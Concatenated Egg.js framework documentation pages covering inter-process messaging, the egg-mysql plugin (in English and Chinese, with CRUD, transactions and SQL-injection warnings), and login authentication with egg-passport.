To simplify the invocation, we have encapsulated a messenger object and attached it to the app/agent instance, a set of friendly APIs is provided too.

### Send

* `app.messenger.broadcast(action, data)`: sends messages to all agent/app processes(including itself)
* `app.messenger.sendToApp(action, data)`: sends messages to all app processes
  * when called on app, it sends messages to itself and other app processes
  * when called on agent, it sends messages to all app processes
* `app.messenger.sendToAgent(action, data)`: sends messages to the agent process
  * when called on app, it sends messages to the agent process
  * when called on agent, it sends messages to the agent itself
* `agent.messenger.sendRandom(action, data)`:
  * app dose not have this method(now Egg implements it as sendToAgent)
  * agent sends a random message to one app process(master determines whom to send to)
* `app.messenger.sendTo(pid, action, data)`: send messages to specified process

```js
// app.js
module.exports = (app) => {
  // Note, only after egg-ready event occurs can the message be sent
  app.messenger.once('egg-ready', () => {
    app.messenger.sendToAgent('agent-event', { foo: 'bar' });
    app.messenger.sendToApp('app-event', { foo: 'bar' });
  });
};
```

*All methods called on `app.messenger` above can be called on `agent.messenger` too.*

#### `egg-ready`

We mentioned in the example above that, only after egg-ready event occurs can the message be sent. Only after Master makes sure that all Agent process and Worker processes have been started successfully(and ready), can the `egg-ready` message be sent to all Agent and Worker through messenger, notifying that everything is ready and the IPC channel can be used.

### Receive

Listen the action event on messenger therefore messages sent by other processes can be received.

```js
app.messenger.on(action, (data) => {
  // process data
});
app.messenger.once(action, (data) => {
  // process data
});
```

*The way to receive messages using messenger in agent is the same with that of app.*

## IPC in Practice

Now we will show you how IPC solves real problems with the multi-process model of framework by a simple example.

### Requisition

We have a API that gets data from the remote data source and provides services outside. Since data of the data source change little and we prefer to cache it in the memory to accelerate the response of services and reduce the RT. Now a mechanism to update the memory cache is needed.

1. Get data from the remote data source periodically and update the memory cache. To reduce pressure on the data source, the period for updating may be set relatively long.
2. The remote data source provides an API to check whether its data has been updated. Our service calls that API more frequently and only when data is updated can it pull the data.
3. The remote data source pushes data changes through a message-oriented middleware on which our service listens to update the data.

In real projects, we use solution one to catch all, and, in combination with solution tow or three, the instantaneity of data updating can be sped up. In the example, we use IPC + [scheduled tasks](../basics/schedule.md) to implement these three cache updating solutions in the same time.

### Implementation

We put all logics that is used to interact with the remote data source into a Service, where a `get` method is exposed to Controller to invoke.

```js
// app/service/source.js
let memoryCache = {};

class SourceService extends Service {
  get(key) {
    return memoryCache[key];
  }

  async checkUpdate() {
    // check if remote data source has changed
    const updated = await mockCheck();
    this.ctx.logger.info('check update response %s', updated);
    return updated;
  }

  async update() {
    // update memory cache from remote
    memoryCache = await mockFetch();
    this.ctx.logger.info('update memory cache from remote: %j', memoryCache);
  }
}
```

Write the scheduled task to implement solution one: gets data changes from the remote data source every 10 minutes to update cache as a cache-all.

```js
// app/schedule/force_refresh.js
exports.schedule = {
  interval: '10m',
  type: 'all', // run in all workers
};

exports.task = async (ctx) => {
  await ctx.service.source.update();
  ctx.app.lastUpdateBy = 'force';
};
```

Write a scheduled task again to implement check logics of solution two: make a worker call the check API every 10 seconds and notify all Workers using methods provided by messenger when data changes are found.

```js
// app/schedule/pull_refresh.js
exports.schedule = {
  interval: '10s',
  type: 'worker', // only run in one worker
};

exports.task = async (ctx) => {
  const needRefresh = await ctx.service.source.checkUpdate();
  if (!needRefresh) return;

  // notify all workers to update memory cache from `file`
  ctx.app.messenger.sendToApp('refresh', 'pull');
};
```

Listen on the `pullRefresh` event in the customized start-up file and update data. All Worker processes will receive this message, trigger updates and our solution two succeeds at last.

```js
// app.js
module.exports = (app) => {
  app.messenger.on('refresh', (by) => {
    app.logger.info('start update by %s', by);
    // create an anonymous context to access service
    const ctx = app.createAnonymousContext();
    ctx.runInBackground(async () => {
      await ctx.service.source.update();
      app.lastUpdateBy = by;
    });
  });
};
```

Now let's consider how to implement solution three. We need a message-oriented middleware that keeps persistent connections with the server side. This kind of persistent connections is proper for Agent process to keep which can effectively reduce connection numbers and reduce costs both ends. So we start message listening on Agent process.

```js
// agent.js

const Subscriber = require('./lib/subscriber');

module.exports = (agent) => {
  const subscriber = new Subscriber();
  // listen changed event, broadcast to all workers
  subscriber.on('changed', () => agent.messenger.sendToApp('refresh', 'push'));
};
```

With an intelligent use of Agent process, scheduled tasks and IPC, we can easily implement this kind of requisition and reduce pressure on the data source. Detailed example codes refer to [examples/ipc](https://github.com/eggjs/examples/tree/master/ipc).

## More Complex Scenario

In the above example, we runs a subscriber on Agent process to listen messages sent by the message-oriented middleware. What if Worker processes need to listen messages? How to create connections by Agent process and transmit messages to Worker processes? Answers to these questions can be found in [Advanced Multi-Process Developing Pattern](../advanced/cluster-client.md).

[pm2]: https://github.com/Unitech/pm2

[egg-cluster]: https://github.com/eggjs/egg-cluster

[egg-scripts]: https://github.com/eggjs/egg-scripts

[graceful]: https://github.com/node-modules/graceful

---

---
url: /tutorials/mysql.md
---

MySQL is one of the most common and best RDBMS in terms of web applications. It is used in many large-scale websites such as Google and Facebook.

## `egg-mysql`

`egg-mysql` is provided to access both the MySQL databases and MySQL-based online database service.

### Installation and Configuration

Install [egg-mysql]

```bash
$ npm i --save egg-mysql
```

Enable Plugin:

```js
// config/plugin.js
exports.mysql = {
  enable: true,
  package: 'egg-mysql',
};
```

Configure database information in `config/config.${env}.js`

#### Single Data Source

Configuration to accesss single MySQL instance as shown below:

```js
// config/config.${env}.js
exports.mysql = {
  // database configuration
  client: {
    host: 'mysql.com',
    port: '3306',
    user: 'test_user',
    password: 'test_password',
    database: 'test',
  },
  // load into app, default true
  app: true,
  // load into agent, default false
  agent: false,
};
```

Use:

```js
await app.mysql.query(sql, values); // single instance can be accessed through app.mysql
```

#### Multiple Data Sources

Configuration to accesss multiple MySQL instances as below:

```js
exports.mysql = {
  clients: {
    // clientId, obtain the client instances using the app.mysql.get('clientId')
    db1: {
      host: 'mysql.com',
      port: '3306',
      user: 'test_user',
      password: 'test_password',
      database: 'test',
    },
    db2: {
      host: 'mysql2.com',
      port: '3307',
      user: 'test_user',
      password: 'test_password',
      database: 'test',
    },
    // ...
  },
  //default configuration of all databases
  default: {},

  // load into app, default true
  app: true,
  // load into agent, default false
  agent: false,
};
```

Use:

```js
const client1 = app.mysql.get('db1');
await client1.query(sql, values);

const client2 = app.mysql.get('db2');
await client2.query(sql, values);
```

#### Dynamic Creation

Pre-declaration of configuration might not needed in the configuration file. Obtaining the actual parameters dynamically from the configuration center then initialize an instance instead.

```js
// {app_root}/app.js
module.exports = (app) => {
  app.beforeStart(async () => {
    // obtain the MySQL configuration from the configuration center
    // { host: 'mysql.com', port: '3306', user: 'test_user', password: 'test_password', database: 'test' }
    const mysqlConfig = await app.configCenter.fetch('mysql');
    app.database = app.mysql.createInstance(mysqlConfig);
  });
};
```

## Service Layer

Connecting to MySQL is a data processing layer in the Web layer. So it is strongly recommended that keeping the code in the Service layer.

An example of connecting to MySQL as follows.

Details of Service layer, refer to [service](../basics/service.md)

```js
// app/service/user.js
class UserService extends Service {
  async find(uid) {
    // assume we have the user id then trying to get the user details from database
    const user = await this.app.mysql.get('users', { id: 11 });
    return { user };
  }
}
```

After that, obtaining the data from service layer using the controller

```js
// app/controller/user.js
class UserController extends Controller {
  async info() {
    const ctx = this.ctx;
    const userId = ctx.params.id;
    const user = await ctx.service.user.find(userId);
    ctx.body = user;
  }
}
```

## Writing CRUD

Following statments default under `app/service` if not specifed

### Create

INSERT method to perform the INSERT INTO query

```js
// INSERT
const result = await this.app.mysql.insert('posts', { title: 'Hello World' }); //insert a record title 'Hello World' to 'posts' table

=> INSERT INTO `posts`(`title`) VALUES('Hello World');

console.log(result);
=>
{
  fieldCount: 0,
  affectedRows: 1,
  insertId: 3710,
  serverStatus: 2,
  warningCount: 2,
  message: '',
  protocol41: true,
  changedRows: 0
}

// check if insertion is success or failure
const insertSuccess = result.affectedRows === 1;
```

### Read

Use `get` or `select` to select one or multiple records. `select` method support query criteria and result customization.
Use `count` method to count all rows of the query result

* get one record

```js
const post = await this.app.mysql.get('posts', { id: 12 });

=> SELECT * FROM `posts` WHERE `id` = 12 LIMIT 0, 1;
```

* query all from the table

```js
const results = await this.app.mysql.select('posts');

=> SELECT * FROM `posts`;
```

* query criteria and result customization

```js
const results = await this.app.mysql.select('posts', { // search posts table
  where: { status: 'draft', author: ['author1', 'author2'] }, // WHERE criteria
  columns: ['author', 'title'], // get the value of certain columns
  orders: [['created_at','desc'], ['id','desc']], // sort order
  limit: 10, // limit the return rows
  offset: 0, // data offset
});

=> SELECT `author`, `title` FROM `posts`
  WHERE `status` = 'draft' AND `author` IN('author1','author2')
  ORDER BY `created_at` DESC, `id` DESC LIMIT 0, 10;
```

* count the number of rows in the query result

```js
const total = await this.app.mysql.count('posts', { status: 'published' }); // count the number of result rows in the posts table whose status is published

=> SELECT COUNT(*) FROM `posts` WHERE `status` = 'published'
```

### Update

UPDATE operation to update the records of databases

```js
// modify data and search by primary key ID, and refresh
const row = {
  id: 123,
  name: 'fengmk2',
  otherField: 'other field value',    // any other fields u want to update
  modifiedAt: this.app.mysql.literals.now, // `now()` on db server
};
const result = await this.app.mysql.update('posts', row); // update records in 'posts'

=> UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE id = 123 ;

// check if update is success or failure
const updateSuccess = result.affectedRows === 1;

// if primary key is your custom id,such as custom_id,you should config it in `where`
const row = {
  name: 'fengmk2',
  otherField: 'other field value',    // any other fields u want to update
  modifiedAt: this.app.mysql.literals.now, // `now()` on db server
};

const options = {
  where: {
    custom_id: 456
  }
};
const result = await this.app.mysql.update('posts', row, options); // update records in 'posts'

=> UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE custom_id = 456 ;

// check if update is success or failure
const updateSuccess = result.affectedRows === 1;
```

### Delete

DELETE operation to delete the records of databases

```js
const result = await this.app.mysql.delete('posts', {
  author: 'fengmk2',
});

=> DELETE FROM `posts` WHERE `author` = 'fengmk2';
```

## Implementation of SQL statement

Plugin supports splicing and execute SQL statment directly. It can use `query` to execute a valid SQL statement

**Note!! Strongly do not recommend developers splicing SQL statement, it is easier to cause SQL injection!!**

Use the `mysql.escape` method if you have to splice SQL statement

Refer to [preventing-sql-injection-in-node-js](http://stackoverflow.com/questions/15778572/preventing-sql-injection-in-node-js)

```js
const postId = 1;
const results = await this.app.mysql.query('update posts set hits = (hits + ?) where id = ?', [1, postId]);

=> update posts set hits = (hits + 1) where id = 1;
```

## Transaction

Transaction is mainly used to deal with large data of high complexity. For example, in a personnel management system, deleting a person which need to delete the basic information of the staff, but also need to delete the related information of staff, such as mailboxes, articles and so on. It is easier to use transaction to run a set of operations.
A transaction is a set of continuous database operations which performed as a single unit of work. Each individual operation within the group is successful and the transaction succeeds. If one part of the transaction fails, then the entire transaction fails.
In gerenal, transaction must be atomic, consistent, isolated and durable.

* Atomicity requires that each transaction be "all or nothing": if one part of the transaction fails, then the entire transaction fails, and the database state is left unchanged.
* The consistency property ensures that any transaction will bring the database from one valid state to another.
* The isolation property ensures that the concurrent execution of transactions results in a system state that would be obtained if transactions were executed sequentially
* The durability property ensures that once a transaction has been committed, it will remain so.

Therefore, for a transaction, must be accompanied by beginTransaction, commit or rollback, respectively, beginning of the transaction, success and failure to roll back.

egg-mysql proviodes two types of transactions

### Manual Control

* adventage: `beginTransaction`, `commit` or `rollback` can be completely under control by developer
* disadventage: more handwritten code, Forgot catching error or cleanup will lead to serious bug.

```js
const conn = await app.mysql.beginTransaction(); // initialize the transaction

try {
  await conn.insert(table, row1); // first step
  await conn.update(table, row2); // second step
  await conn.commit(); // commit the transaction
} catch (err) {
  // error, rollback
  await conn.rollback(); // rollback after catching the exception!!
  throw err;
}
```

### Automatic Control: Transaction with Scope

* API：`beginTransactionScope(scope, ctx)`
  * `scope`: A generatorFunction which will execute all sqls of this transaction.
  * `ctx`: The context object of current request, it will ensures that even in the case of a nested transaction, there is only one active transaction in a request at the same time.
* adventage: easy to use, as if there is no transaction in your code.
* disadvantage: all transation will be successful or failed, cannot control precisely

```js
const result = await app.mysql.beginTransactionScope(async (conn) => {
  // don't commit or rollback by yourself
  await conn.insert(table, row1);
  await conn.update(table, row2);
  return { success: true };
}, ctx); // ctx is the context of current request, accessed by `this.ctx`  within in service file.
// if error throw on scope, will auto rollback
```

## Literal

Use `Literal` if need to call literals or functions in MySQL

### Inner Literal

* `NOW()`：The database system time, obtained by `app.mysql.literals.now`

```js
await this.app.mysql.insert(table, {
  create_time: this.app.mysql.literals.now,
});

=> INSERT INTO `$table`(`create_time`) VALUES(NOW())
```

### Custom literal

The following demo showe how to call `CONCAT(s1, ...sn)` funtion in mysql to do string splicing.

```js
const Literal = this.app.mysql.literals.Literal;
const first = 'James';
const last = 'Bond';
await this.app.mysql.insert(table, {
  id: 123,
  fullname: new Literal(`CONCAT("${first}", "${last}"`),
});

=> INSERT INTO `$table`(`id`, `fullname`) VALUES(123, CONCAT("James", "Bond"))
```

[egg-mysql]: https://github.com/eggjs/egg-mysql

---

---
url: /zh-CN/tutorials/mysql.md
---
# MySQL

在 Web 应用方面，MySQL 是最常见且最优秀的关系型数据库之一。许多网站选择 MySQL 作为网站数据库。

## egg-mysql

框架提供了 [egg-mysql] 插件来访问 MySQL 数据库。这个插件既可以访问普通的 MySQL 数据库，也可以访问基于 MySQL 协议的在线数据库服务。

### 安装与配置

安装对应的插件 [egg-mysql]：

```bash
$ npm i --save egg-mysql
```

开启插件：

```js
// config/plugin.js
exports.mysql = {
  enable: true,
  package: 'egg-mysql',
};
```

在 `config/config.${env}.js` 中配置各个环境的数据库连接信息。

#### 单数据源

如果我们的应用只需要访问一个 MySQL 数据库实例，可以按以下方式配置：

```js
// config/config.${env}.js
exports.mysql = {
  // 单数据库信息配置
  client: {
    // host
    host: 'mysql.com',
    // 端口号
    port: '3306',
    // 用户名
    user: 'test_user',
    // 密码
    password: 'test_password',
    // 数据库名
    database: 'test',
  },
  // 是否加载到 app 上，默认开启
  app: true,
  // 是否加载到 agent 上，默认关闭
  agent: false,
};
```

使用方式：

```js
await app.mysql.query(sql, values); // 单实例可以直接通过 app.mysql 访问
```

#### 多数据源

如果我们的应用需要访问多个 MySQL 数据源，可以按照如下配置：

```js
exports.mysql = {
  clients: {
    // clientId, 获取 client 实例，需通过 app.mysql.get('clientId') 获取
    db1: {
      // host
      host: 'mysql.com',
      // 端口号
      port: '3306',
      // 用户名
      user: 'test_user',
      // 密码
      password: 'test_password',
      // 数据库名
      database: 'test',
    },
    db2: {
      // host
      host: 'mysql2.com',
      // 端口号
      port: '3307',
      // 用户名
      user: 'test_user',
      // 密码
      password: 'test_password',
      // 数据库名
      database: 'test',
    },
    // ...
  },
  // 所有数据库配置的默认值
  default: {},

  // 是否加载到 app 上，默认开启
  app: true,
  // 是否加载到 agent 上，默认关闭
  agent: false,
};
```

使用方式：

```js
const client1 = app.mysql.get('db1');
await client1.query(sql, values);

const client2 = app.mysql.get('db2');
await client2.query(sql, values);
```

#### 动态创建

我们也可以不在配置文件中预先声明配置，而是在应用运行时动态地从配置中心获取实际参数，然后初始化一个实例。

```js
// {app_root}/app.js
module.exports = (app) => {
  app.beforeStart(async () => {
    // 从配置中心获取 MySQL 的配置
    // { host: 'mysql.com', port: '3306', user: 'test_user', password: 'test_password', database: 'test' }
    const mysqlConfig = await app.configCenter.fetch('mysql');
    app.database = app.mysql.createInstance(mysqlConfig);
  });
};
```

[egg-mysql]: https://github.com/eggjs/egg-mysql "egg-mysql"

## Service 层

由于对 MySQL 数据库的访问操作属于 Web 层中的数据处理层，因此我们强烈建议将这部分代码放在 Service 层中维护。

下面是一个 Service 中访问 MySQL 数据库的例子。

更多 Service 层的介绍，可以参考 [Service](../basics/service.md)。

```js
// app/service/user.js
class UserService extends Service {
  async find(uid) {
    // 假如我们拿到用户 id，从数据库获取用户详细信息
    const user = await this.app.mysql.get('users', { id: uid });
    return { user };
  }
}
```

之后可以通过 Controller 获取 Service 层拿到的数据。

```js
// app/controller/user.js
class UserController extends Controller {
  async info() {
    const ctx = this.ctx;
    const userId = ctx.params.id;
    const user = await ctx.service.user.find(userId);
    ctx.body = user;
  }
}
```

在上述代码中，我们首先在 Service 层中定义了一个名为 `UserService` 的类，该类继承自 Service 基类。在 `UserService` 类中，我们定义了一个异步方法 `find`，该方法通过调用 `this.app.mysql.get` 方法从 `users` 表中获取到了 id 等于 uid 参数的用户数据，在获取数据后将用户信息以对象的形式返回。在 Controller 层，我们定义了一个名为 `UserController` 的类，该类继承自 Controller 基类。在 `UserController` 类中，我们定义了一个异步方法 `info`，该方法从上下文 `ctx` 中获取到了用户 ID，然后通过调用 `ctx.service.user.find` 方法获取到了用户信息，并最终将这个用户信息赋值给响应体 `ctx.body`。通过这种方式，我们就可以在 Controller 层中获取 Service 层提供的数据，从而实现层与层之间的数据传递和业务逻辑的分离。

## 如何编写 CRUD 语句

下面的语句，若没有特殊注明，默认都书写在 `app/service` 下。

### Create

可以直接使用 `insert` 方法插入一条记录。

```js
// 插入
const result = await this.app.mysql.insert('posts', { title: 'Hello World' }); // 在 posts 表中，插入 title 为 Hello World 的记录

// SQL 语句相当于
// INSERT INTO `posts`(`title`) VALUES('Hello World');

console.log(result);
// 输出为
// {
//   fieldCount: 0,
//   affectedRows: 1,
//   insertId: 3710,
//   serverStatus: 2,
//   warningCount: 2,
//   message: '',
//   protocol41: true,
//   changedRows: 0
// }

// 判断插入成功
const insertSuccess = result.affectedRows === 1;
```

### Read

可以直接使用 `get` 方法或 `select` 方法获取一条或多条记录。`select` 方法支持条件查询与结果定制。
可以使用 `count` 方法对查询结果的所有行进行计数。

* 查询一条记录

```js
const post = await this.app.mysql.get('posts', { id: 12 });

// SQL 语句相当于
// SELECT * FROM `posts` WHERE `id` = 12 LIMIT 0, 1;
```

* 查询全表

```js
const results = await this.app.mysql.select('posts');

// SQL 语句相当于
// SELECT * FROM `posts`;
```

* 条件查询和结果定制

```js
const results = await this.app.mysql.select('posts', {
  // 搜索 posts 表
  where: { status: 'draft', author: ['author1', 'author2'] }, // WHERE 条件
  columns: ['author', 'title'], // 要查询的字段
  orders: [
    ['created_at', 'desc'],
    ['id', 'desc'],
  ], // 排序方式
  limit: 10, // 返回数据量
  offset: 0, // 数据偏移量
});

// SQL 语句相当于
// SELECT `author`, `title` FROM `posts`
// WHERE `status` = 'draft' AND `author` IN('author1','author2')
// ORDER BY `created_at` DESC, `id` DESC LIMIT 0, 10;
```

* 统计查询结果的行数

```js
const total = await this.app.mysql.count('posts', { status: 'published' }); // 统计 posts 表中 status 为 published 的行数

// SQL 语句相当于
// SELECT COUNT(*) FROM `posts` WHERE `status` = 'published'
```

### Update

可以直接使用 `update` 方法更新数据库记录。

```js
// 修改数据
const row = {
  id: 123,
  name: 'fengmk2',
  otherField: 'other field value', // 其他想要更新的字段
  modifiedAt: this.app.mysql.literals.now, // 数据库服务器上的当前时间
};
const result = await this.app.mysql.update('posts', row); // 更新 posts 表中的记录

// SQL 语句相当于
// UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE `id` = 123;

// 判断更新成功
const updateSuccess = result.affectedRows === 1;

// 如果主键是自定义的 ID 名称，如 custom_id，则需要在 `where` 里配置
const row2 = {
  name: 'fengmk2',
  otherField: 'other field value', // 其他想要更新的字段
  modifiedAt: this.app.mysql.literals.now, // 数据库服务器上的当前时间
};

const options = {
  where: {
    custom_id: 456,
  },
};
const result2 = await this.app.mysql.update('posts', row2, options); // 更新 posts 表中的记录

// SQL 语句相当于
// UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE `custom_id` = 456 ;

// 判断更新成功
const updateSuccess2 = result2.affectedRows === 1;
```

### Delete

可以直接使用 `delete` 方法删除数据库记录。

```js
const result = await this.app.mysql.delete('posts', {
  author: 'fengmk2',
});

// SQL 语句相当于
// DELETE FROM `posts` WHERE `author` = 'fengmk2';
```

## 直接执行 SQL 语句

插件本身也支持拼接与直接执行 SQL 语句。使用 `query` 方法可以执行合法的 SQL 语句。

**注意！！我们极其不建议开发者拼接 SQL 语句，这样很容易引起 SQL 注入！！**

如果必须要自己拼接 SQL 语句，请使用 `mysql.escape` 方法。

参考 [preventing-sql-injection-in-node-js](http://stackoverflow.com/questions/15778572/preventing-sql-injection-in-node-js)。

```js
const postId = 1;
const results = await this.app.mysql.query(
  'update posts set hits = (hits + ?) where id = ?',
  [1, postId],
);

// => update posts set hits = (hits + 1) where id = 1;
```

## 使用事务

MySQL 事务主要用于处理操作量大，复杂度高的数据。例如，在人员管理系统中，当你删除一个人员，你既需要删除人员的基本资料，也要删除与该人员相关的信息，如信箱、文章等等。这时候使用事务处理可以方便管理这一组操作。一个事务将一组连续的数据库操作，放在一个单一的工作单元来执行。只有该组内的每个单独的操作都成功，事务才能成功。如果事务中的任何操作失败，则整个事务将失败。

一般来说，事务必须满足 4 个条件（ACID）：Atomicity（原子性）、Consistency（一致性）、Isolation（隔离性）、Durability（可靠性）。

* 原子性：确保事务内的所有操作都成功完成，否则事务将被中止在故障点，以前的操作将回滚到以前的状态。
* 一致性：对数据库的修改是一致的。
* 隔离性：事务是彼此独立的，不互相影响。
* 持久性：确保提交事务后，事务产生的结果可以永久存在。

因此，对于一个事务来说，一定伴随着 `beginTransaction`、`commit` 或 `rollback`，分别代表事务的开始、成功和失败回滚。

egg-mysql 提供了两种类型的事务。

### 手动控制

* 优点：`beginTransaction`、`commit` 或 `rollback` 都由开发者完全控制，可以做到非常细粒度的控制。
* 缺点：代码量比较多，不是每个人都能写好，忽视捕获异常和 cleanup 都会导致严重的 bug。

```js
const conn = await app.mysql.beginTransaction(); // 初始化事务

try {
  await conn.insert(table, row1); // 第一步操作
  await conn.update(table, row2); // 第二步操作
  await conn.commit(); // 提交事务
} catch (err) {
  // 错误，回滚
  await conn.rollback(); // 一定记得捕获异常后回滚事务！！
  throw err;
}
```

### 自动控制：Transaction with scope

* API：`beginTransactionScope(scope, ctx)`
  * `scope`：一个 `generatorFunction`，在这个函数里执行这次事务的所有 SQL 语句。
  * `ctx`：当前请求的上下文对象，传入 `ctx` 可以保证即使在出现事务嵌套的情况下，一次请求中同时只有一个激活状态的事务。
* 优点：使用简单，容易操作，感觉事务不存在。
* 缺点：整个事务要么成功，要么失败，无法做细粒度控制。

```js
const result = await app.mysql.beginTransactionScope(async (conn) => {
  // don't commit or rollback by yourself
  await conn.insert(table, row1);
  await conn.update(table, row2);
  return { success: true };
}, ctx); // `ctx` 是当前请求的上下文，如果是在 service 文件中，可以从 `this.ctx` 获取到
// 如果在 scope 中抛出错误，将自动回滚
```

## 表达式（Literal）

如果需要调用 MySQL 内置的函数（或表达式），可以使用 `Literal`。

### 内置表达式

* `NOW()`：数据库当前系统时间，通过 `app.mysql.literals.now` 获取。

```js
await this.app.mysql.insert(table, {
  create_time: this.app.mysql.literals.now,
});

// => INSERT INTO `$table` (`create_time`) VALUES (NOW())
```

### 自定义表达式

以下示例展示如何调用 MySQL 内置的 `CONCAT(s1, ...sn)` 函数，进行字符串拼接。

```js
const Literal = this.app.mysql.literals.Literal;
const first = 'James';
const last = 'Bond';
await this.app.mysql.insert(table, {
  id: 123,
  fullname: new Literal(`CONCAT("${first}", "${last}")`),
});

// => INSERT INTO `$table` (`id`, `fullname`) VALUES (123, CONCAT("James", "Bond"))
```

[egg-mysql]: https://github.com/eggjs/egg-mysql

---

---
url: /tutorials/passport.md
---

**`Login authentication`** is a common business scenario, including "account password login" and "third-party unified login".

Among them, we often use the latter, such as Google, GitHub, QQ unified login, which are based on [OAuth](https://oauth.net/2/) specification.

[Passport](http://www.passportjs.org/) is a highly scalable authentication middleware that supports the `Strategy` of `Github` ,`Twitter`,`Facebook`, and other well-known service vendors. It also supports login authorization verification via account passwords.

Egg provides an [egg-passport](https://github.com/eggjs/egg-passport) plugin which encapsulates general logic such as callback processing after initialization and the success of authentication so that the developers can use Passport with just a few API calls.

The execution sequence of [Passport](http://www.passportjs.org/) is as follows:

* User accesses page
* Check Session
* Intercept and jump to authentication login page
* Strategy Authentication
* Check and store user information
* Serialize user information to Session
* Jump to the specified page

## Using `egg-passport`

Below, we will use GitHub login as an example to demonstrate how to use it.

### Installation

```bash
$ npm i --save egg-passport
$ npm i --save egg-passport-github
```

For more plugins, see [GitHub Topic - egg-passport](https://github.com/topics/egg-passport) .

### Configuration

**Enabling the plugin:**

```js
// config/plugin.js
module.exports.passport = {
  enable: true,
  package: 'egg-passport',
};

module.exports.passportGithub = {
  enable: true,
  package: 'egg-passport-github',
};
```

**Configuration:**

Note: The [egg-passport](https://github.com/eggjs/egg-passport) standardizes the configuration fields, which are unified as `key` and `secret`.

```js
// config/default.js
config.passportGithub = {
  key: 'your_clientID',
  secret: 'your_clientSecret',
};
```

**Note:**

* Create a [GitHub OAuth Apps](https://github.com/settings/applications/new) to get the `clientID` and `clientSecret` information.
* Specify a `callbackURL`, such as `http://127.0.0.1:7001/passport/github/callback`
    - You need to update to the corresponding domain name when deploying online
    - The path is configured via `options.callbackURL`, which defaults to `/passport/${strategy}/callback`

### Mounting Routes

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app; // Mount the authentication route

  app.passport.mount('github'); // The mount above is syntactic sugar, which is equivalent to // const github = app.passport.authenticate('github', {}); // router.get('/passport/github', github); // router.get('/passport/github/callback', github);
};
```

### User Information Processing

Then we also need:

* When signing in for the first time, you generally need to put user information into the repository and record the Session.
* In the second login, the user information obtained from OAuth or Session, and the database is read to get the complete user information.

```js
// app.js
module.exports = (app) => {
  app.passport.verify(async (ctx, user) => {
    // Check user
    assert(user.provider, 'user.provider should exists');
    assert(user.id, 'user.id should exists'); // Find user information from the database // // Authorization Table // column   | desc // ---      | -- // provider | provider name, like github, twitter, facebook, weibo and so on // uid      | provider unique id // user_id  | current application user id

    const auth = await ctx.model.Authorization.findOne({
      uid: user.id,
      provider: user.provider,
    });
    const existsUser = await ctx.model.User.findOne({ id: auth.user_id });
    if (existsUser) {
      return existsUser;
    } // Call service to register a new user
    const newUser = await ctx.service.user.register(user);
    return newUser;
  }); // Serialize and store the user information into session. Generally, only a few fields need to be streamlined/saved.

  app.passport.serializeUser(async (ctx, user) => {
    // process user
    // ...
    // return user;
  }); // Deserialize the user information from the session, check the database to get the complete information

  app.passport.deserializeUser(async (ctx, user) => {
    // process user
    // ...
    // return user;
  });
};
```

At this point, we have completed all the configurations. For a complete example, see: [eggjs/examples/passport](https://github.com/eggjs/examples/tree/master/passport)

### API

[egg-passport](https://github.com/eggjs/egg-passport) provides the following extensions:

* `ctx.user` - Get current logged in user information
* `ctx.isAuthenticated()` - Check if the request is authorized
* `ctx.login(user, [options])` - Start a login session for the user
* `ctx.logout()` - Exit and clear user information from session
* `ctx.session.returnTo=` - Set redirect address after authentication page success

The API also be provided for:

* `app.passport.verify(async (ctx, user) => {})` - Check user
* `app.passport.serializeUser(async (ctx, user) => {})` - Serialize user information into session
* `app.passport.deserializeUser(async (ctx, user) => {})` - Deserialize user information from the session
* `app.passport.authenticate(strategy, options)` - Generate the specified authentication middleware
    - `options.successRedirect` - specifies the redirect address after successful authentication
    - `options.loginURL` - jump login address, defaults to `/passport/${strategy}`
    - `options.callbackURL` - callback address after authorization, defaults to `/passport/${strategy}/callback`
* `app.passport.mount(strategy, options)` - Syntactic sugar for developers to configure routing

**Note:**

* `app.passport.authenticate`, if `options.successRedirect` or `options.successReturnToOrRedirect` is null, it will redirect to `/` by default

## Using Passport Ecosystem

[Passport](http://www.passportjs.org/) has many middleware and it is impossible to have the second encapsulation.
Next, let's look at how to use Passport middleware directly in the framework.
We will use [passport-local](https://github.com/jaredhanson/passport-local) for "account password login" as an example:

### Installation

```bash
$ npm i --save passport-local
```

### Configuration

```js
// app.js
const LocalStrategy = require('passport-local').Strategy;

module.exports = (app) => {
  // Mount strategy
  app.passport.use(
    new LocalStrategy(
      {
        passReqToCallback: true,
      },
      (req, username, password, done) => {
        // format user
        const user = {
          provider: 'local',
          username,
          password,
        };
        debug('%s %s get user: %j', req.method, req.url, user);
        app.passport.doVerify(req, user, done);
      },
    ),
  ); // Process user information

  app.passport.verify(async (ctx, user) => {});
  app.passport.serializeUser(async (ctx, user) => {});
  app.passport.deserializeUser(async (ctx, user) => {});
};
```

### Mounting Routes

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/', controller.home.index); // Callback page after successful authentication

  router.get('/authCallback', controller.home.authCallback); // Render login page, user inputs account password

  router.get('/login', controller.home.login); // Login verification
  router.post(
    '/login',
    app.passport.authenticate('local', { successRedirect: '/authCallback' }),
  );
};
```

## How to develop an egg-passport plugin

In the previous section, we learned how to use a Passport middleware in the framework. We can further encapsulate it as a plugin and give back to the community.

**initialization:**

```bash
$ npm init egg --type=plugin egg-passport-local
```

**Configure dependencies in `package.json`:**

```json
{
  "name": "egg-passport-local",
  "version": "1.0.0",
  "eggPlugin": {
    "name": "passportLocal",
    "dependencies": ["passport"]
  },
  "dependencies": {
    "passport-local": "^1.0.0"
  }
}
```

**Configuration:**

```js
// {plugin_root}/config/config.default.js
// https://github.com/jaredhanson/passport-local
exports.passportLocal = {};
```

Note: [egg-passport](https://github.com/eggjs/egg-passport) standardizes the configuration fields, which are unified as `key` and `secret`, so if the corresponding Passport middleware attribute names are inconsistent, the developer should do the conversion.

**Register the passport middleware:**

```js
// {plugin_root}/app.js
const LocalStrategy = require('passport-local').Strategy;

module.exports = (app) => {
  const config = app.config.passportLocal;
  config.passReqToCallback = true;

  app.passport.use(
    new LocalStrategy(config, (req, username, password, done) => {
      // Cleans up the data returned by the Passport plugin and returns the User object
      const user = {
        provider: 'local',
        username,
        password,
      }; // This does not process application-level logic and passes it to app.passport.verify for unified processing.
      app.passport.doVerify(req, user, done);
    }),
  );
};
```

[passport]: http://www.passportjs.org/

[egg-passport]: https://github.com/eggjs/egg-passport

